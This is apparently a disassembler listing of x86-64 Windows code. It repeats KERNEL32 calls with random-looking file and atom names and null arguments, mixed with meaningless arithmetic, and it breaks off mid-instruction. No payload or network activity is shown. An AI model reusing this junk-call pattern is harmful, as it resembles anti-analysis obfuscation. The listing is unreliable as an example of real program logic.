movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x127c], ax
mov dword [rsp + 0x20], 0x36f9
mov r9d, 0x268d
mov r8d, 0x765
mov edx, 0x358b
mov rcx, qword [rsp + 0xae90]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4db8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movsx eax, byte [rsp + 0x1cf]
mov rcx, qword [rsp + 0xa7a8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x55], al
movsx eax, word [rsp + 0x798]
mov rcx, qword [rsp + 0xa7c8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa740]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa800], rax
xor r9d, r9d
lea r8, [rsp + 0x9ec8]
mov rdx, qword [rsp + 0xb0c8]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4bd4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9698], rax
mov rax, qword [rsp + 0x9f00]
imul rax, qword [rsp + 0xab00]
mov qword [rsp + 0x8410], rax
lea rax, [rsp + 0x49a8]
mov qword [rsp + 0xb0d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xacb8], rax
lea rcx, [rsp + 0xa9f8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xade0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb0d8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cc8], rax
mov r9d, 0x1f83
xor r8d, r8d
lea rdx, [rsp + 0xa480]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c20], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb0e0], rax
lea rcx, [rsp + 0x1a888]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x2a9]
mov qword [0x14024f140], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1f96
mov r8d, 0x2e60
mov edx, 0x53
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4cc8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4cfc], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac68], rax
movzx eax, word [rsp + 0x12c0]
mov rcx, qword [rsp + 0x9a00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9b8], ax
lea rax, [rsp + 0x84b8]
mov qword [rsp + 0xb0e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rcx, [rsp + 0x1aa38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, 0x238d
mov rcx, qword [rsp + 0xa6b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4d0c], eax
mov rax, qword [rsp + 0xae00]
mov rcx, qword [rsp + 0x8898]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa4f0], rax
lea rax, [rsp + 0x10b8]
mov qword [rsp + 0xb0f0], rax
mov rax, qword [rsp + 0xac40]
mov rcx, qword [rsp + 0xa998]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb068]
mov dword [rcx], eax
mov rax, qword [rsp + 0x99d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae60]
mov byte [rcx], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x11e9
mov r9d, 0x1b15
mov r8d, 0x70f87c96
mov edx, 1
mov rcx, qword [rsp + 0xab20]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x46fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x1138]
mov qword [rsp + 0xb0f8], rax
movzx ecx, word [rsp + 0xfec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf28], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xade0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa270]
movzx eax, byte [rax]
mov rcx, qword [0x14024f1b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov eax, dword [rsp + 0x4d20]
mov ecx, dword [rsp + 0x483c]
sub ecx, eax
mov eax, ecx
mov dword [0x14024f33c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cc8], rax
mov dword [rsp + 0x218a0], 0x11c
mov rax, qword [rsp + 0xa288]
mov rax, qword [rax]
mov qword [rsp + 0xb100], rax
mov rax, qword [rsp + 0xb100]
mov rcx, qword [rsp + 0x8a48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa958], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rcx, qword [rsp + 0xa430]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0x9ec0]
mov rcx, qword [rsp + 0x9ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4dbc], eax
mov dword [rsp + 0x20], 0x5b8
mov r9d, 0x1baa
mov r8d, 0x1aac
mov edx, 0x391
mov rcx, qword [rsp + 0xaef0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4c88], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa690], rax
mov r9d, 2
lea r8, [rsp + 0x9b20]
mov rdx, qword [rsp + 0xa710]
mov rcx, qword [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4dc0], eax
mov eax, dword [rsp + 0x4b00]
cdq
idiv dword [rsp + 0x4314]
mov dword [rsp + 0x42a8], eax
mov rax, qword [rsp + 0xab30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1020]
or eax, ecx
mov word [rsp + 0x9d8], ax
mov rax, qword [rsp + 0x9e98]
mov rax, qword [rax]
mov qword [rsp + 0xb108], rax
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfa8], ax
lea rcx, [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, str.AwkY6DI4b_GO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x140c], ax
lea rdx, [rsp + 0x9610]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4cb4], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.gefGDtQjTImZm
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb110], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaca0], rax
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0xa6b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2b3], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
lea rcx, [rsp + 0x1aa68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 0x104e
xor r8d, r8d
lea rdx, [rsp + 0xa038]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c84], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ff8], rax
mov edx, 0x10d4
mov rcx, qword [rsp + 0xa100]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4dc4], eax
mov dword [rsp + 0x20], 0xb85
mov r9d, 0x2691
mov r8d, 0xb54
mov edx, 0x2faf
mov rcx, qword [rsp + 0xad58]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4ad4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.cpNl9Kqd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb118], rax
movzx eax, word [rsp + 0xde4]
mov rcx, qword [rsp + 0xabb8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x13e4], ax
lea rax, [rsp + 0x4c80]
mov qword [0x14024f138], rax
mov rax, qword [rsp + 0xad70]
movzx eax, byte [rax]
mov byte [rsp + 0x2c8], al
mov qword [rsp + 0x20], 0
mov r9d, 0x4a7
mov r8d, 0x2956
mov edx, 0x56
mov rcx, qword [rsp + 0xa458]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4a50], eax
movzx eax, byte [0x140221338]
mov rcx, qword [rsp + 0xad70]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa7d8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9580]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rcx, str.Ol6uF_Jr_baCp0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1410], ax
lea rcx, [rsp + 0x9908]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movzx eax, word [rsp + 0x1164]
movzx ecx, word [rsp + 0x115c]
imul eax, ecx
mov word [rsp + 0xbd4], ax
lea rcx, [rsp + 0xaa90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4ca8]
mov ecx, dword [rsp + 0x4a24]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e28]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa550]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10fc], ax
movzx eax, byte [rsp + 0x283]
mov byte [rsp + 0x2c9], al
mov eax, dword [rsp + 0x4c50]
mov ecx, dword [rsp + 0x4654]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa238]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb120], rax
mov r9d, 2
lea r8, [rsp + 0xa230]
mov rdx, qword [rsp + 0x98e8]
mov rcx, qword [rsp + 0x9b58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a38], eax
movzx ecx, word [rsp + 0x11bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1414], ax
lea rdx, [rsp + 0xb070]
mov rcx, qword [rsp + 0xad40]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c4c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0x26e7
mov r9d, 0x32c8
mov r8d, 0x13b3
mov edx, 0x3b04
mov rcx, qword [rsp + 0x9958]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4c8c], eax
lea rax, [rsp + 0x10c4]
mov qword [rsp + 0xb128], rax
mov rax, qword [rsp + 0xa310]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x282]
add eax, ecx
mov byte [0x14022133a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
lea rdx, [rsp + 0xafd0]
mov rcx, qword [rsp + 0xaa78]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4dc8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0xa698]
mov rcx, qword [rsp + 0x9548]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa980], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.T6k2XyM83imY1cK8lBoVn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb130], rax
movzx ecx, word [rsp + 0x114c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12e4], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1409
mov r9d, 0x28eb
mov r8d, 0x4f4fa57a
mov edx, 2
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4c70], eax
mov rax, qword [rsp + 0xa910]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8538]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8470], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.XpAi0SweYjXQ8k1OAap
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xa1b0]
mov rcx, qword [rsp + 0x8a48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xadb0], rax
mov rax, qword [rsp + 0xa518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10e8], ax
xor r9d, r9d
lea r8, [rsp + 0xa8d8]
mov rdx, qword [rsp + 0x8ee0]
mov rcx, qword [rsp + 0x9b28]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cb0], eax
mov rax, qword [rsp + 0xa160]
mov rax, qword [rax]
mov qword [rsp + 0xb140], rax
movsx eax, word [rsp + 0x136c]
mov rcx, qword [rsp + 0xa2b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9518]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb030], rax
mov eax, dword [rsp + 0x4d74]
mov dword [rsp + 0x4dcc], eax
mov rax, qword [rsp + 0xacc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x216]
sub eax, ecx
mov byte [rsp + 0x1e1], al
movzx eax, byte [rsp + 0x86]
mov rcx, qword [0x14024f348]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14022fb6f], al
lea rdx, [rsp + 0x8d10]
mov rcx, qword [rsp + 0x9b28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d00], eax
mov eax, dword [rsp + 0x4c64]
mov ecx, dword [rsp + 0x4750]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x10c4]
mov rcx, qword [rsp + 0x98f0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xacc], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb148], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x21300]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4adc], eax
movzx ecx, word [rsp + 0xf34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1418], ax
mov r9d, 2
lea r8, [rsp + 0xa358]
mov rdx, qword [rsp + 0xac08]
mov rcx, qword [rsp + 0xa528]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4974], eax
lea rcx, [rsp + 0x1a738]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.ciSV5LNhUhnHgsJ4VzknE50nXH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb150], rax
lea rdx, [rsp + 0xa188]
mov rcx, qword [rsp + 0xa768]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49d0], eax
mov rcx, qword [rsp + 0x98d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, str.VG98p0I
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x141c], ax
mov rax, qword [rsp + 0xac98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95b0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2a9], al
mov eax, dword [rsp + 0x4c58]
mov dword [rsp + 0x4dd0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0xa4e0]
movsx eax, word [rax]
movsx ecx, word [0x14024f3be]
or eax, ecx
mov word [rsp + 0xf64], ax
movzx ecx, word [rsp + 0x1080]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12fc], ax
movsx eax, byte [rsp + 0x159]
imul eax, eax, 0xd
mov rcx, qword [rsp + 0x9528]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4dd4], eax
mov edx, 0x1602
mov rcx, qword [rsp + 0xae28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4b2c], eax
movzx ecx, word [rsp + 0x1184]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1420], ax
lea rcx, str.IGiB_ytK_IikC
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13fc], ax
lea rdx, [rsp + 0xa510]
mov rcx, qword [rsp + 0xaae0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x48f0], eax
lea rax, [rsp + 0x4478]
mov qword [rsp + 0xb158], rax
mov rax, qword [rsp + 0xb080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x80e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa238]
mov rcx, qword [rsp + 0xaac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14024f2f0], eax
movzx ecx, word [rsp + 0x1034]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1230], ax
movzx eax, byte [rsp + 0x1a2]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1d7], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1250
mov r9d, 0x138
mov r8d, 0x7eb3c335
mov edx, 1
mov rcx, qword [rsp + 0xb088]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4808], eax
mov dword [rsp + 0x219c0], 0x11c
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
movzx eax, word [0x14024f338]
mov rcx, qword [rsp + 0xa0a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10a8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xb0f
mov r9d, 0x22c6
mov r8d, 0x618bf606
mov edx, 1
mov rcx, qword [rsp + 0xa6c8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0x9738]
mov rax, qword [rax]
mov qword [rsp + 0xb160], rax
mov rax, qword [rsp + 0x9688]
mov rcx, qword [rsp + 0x9868]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7920], rax
mov rax, qword [rsp + 0xa208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x630]
add eax, ecx
mov rcx, qword [rsp + 0x9fe0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa738]
mov eax, dword [rax]
mov dword [rsp + 0x4dd8], eax
mov edx, 0xcd9
mov rcx, qword [rsp + 0xa810]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4b3c], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3480
mov r9d, 0x1270
mov r8d, 0x26c767f3
mov edx, 2
mov rcx, qword [rsp + 0xa7f0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4c24], eax
lea rcx, str.kteQx3SrzP0_O4z32rsS_O3ZTtTz
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1424], ax
mov rax, qword [rsp + 0xa600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9db8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2b6], al
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xaa48]
mov rcx, qword [rsp + 0xac38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44c0], eax
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa468]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14024f31a], al
lea rcx, [rsp + 0x9c60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, str.A41ditAQ_01
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13f0], ax
movzx eax, word [rsp + 0x974]
movzx ecx, word [rsp + 0x694]
sub eax, ecx
mov rcx, qword [rsp + 0xa518]
mov word [rcx], ax
mov rax, qword [rsp + 0xabf8]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0xadb0]
mov qword [rsp + 0xaf58], rax
lea rax, [rsp + 0x8f60]
mov qword [rsp + 0xb168], rax
mov rax, qword [0x14024f330]
mov ecx, dword [rsp + 0x4b18]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
mov dword [rsp + 0x21ae0], 0x11c
lea rax, [rsp + 0x42a8]
mov qword [rsp + 0xb170], rax
movzx ecx, word [rsp + 0x1370]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf24], ax
mov rax, qword [rsp + 0xab30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10fc]
shl eax, cl
mov rcx, qword [rsp + 0xa8e8]
mov word [rcx], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x23ea
mov r9d, 0x9d
mov r8d, 0x14539b52
mov edx, 2
mov rcx, qword [rsp + 0xad08]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4a4c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb178], rax
movzx ecx, word [rsp + 0x1150]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1370], ax
mov dword [rsp + 0x20], 0xa2f
mov r9d, 0x3f3b
mov r8d, 0x3134
mov edx, 0x37ff
mov rcx, qword [rsp + 0xa458]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4ac4], eax
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x2c9]
sar eax, cl
mov byte [rsp + 0x2c5], al
lea rax, [rsp + 0x287]
mov qword [rsp + 0xb180], rax
lea rax, [rsp + 0x1344]
mov qword [0x14024f130], rax
mov rax, qword [rsp + 0xa470]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8538]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9de8]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb188], rax
mov rax, qword [rsp + 0x7be8]
mov qword [rsp + 0xb190], rax
movzx eax, word [rsp + 0xbd4]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa858]
mov word [rcx], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x1409
mov r8d, 0x28eb
mov edx, 0x19
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4a18], eax
lea rcx, str.EA5yz_TJidTGv0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1214], ax
lea rdx, [rsp + 0x9928]
mov rcx, qword [rsp + 0x9958]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ddc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [0x14024f358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a3]
imul eax, ecx
mov rcx, qword [rsp + 0x9730]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rax, [rsp + 0x12b4]
mov qword [rsp + 0xb198], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb1a0], rax
mov eax, dword [rsp + 0x4d54]
mov ecx, dword [rsp + 0x4af4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dd8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac68], rax
mov r9d, 1
lea r8, [rsp + 0xaa38]
mov rdx, qword [rsp + 0xa928]
mov rcx, qword [rsp + 0xac00]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ae8], eax
movsx eax, byte [rsp + 0x273]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11b], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb1a8], rax
movzx ecx, word [rsp + 0x11d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12d4], ax
mov eax, dword [rsp + 0x4c2c]
mov ecx, dword [rsp + 0x4770]
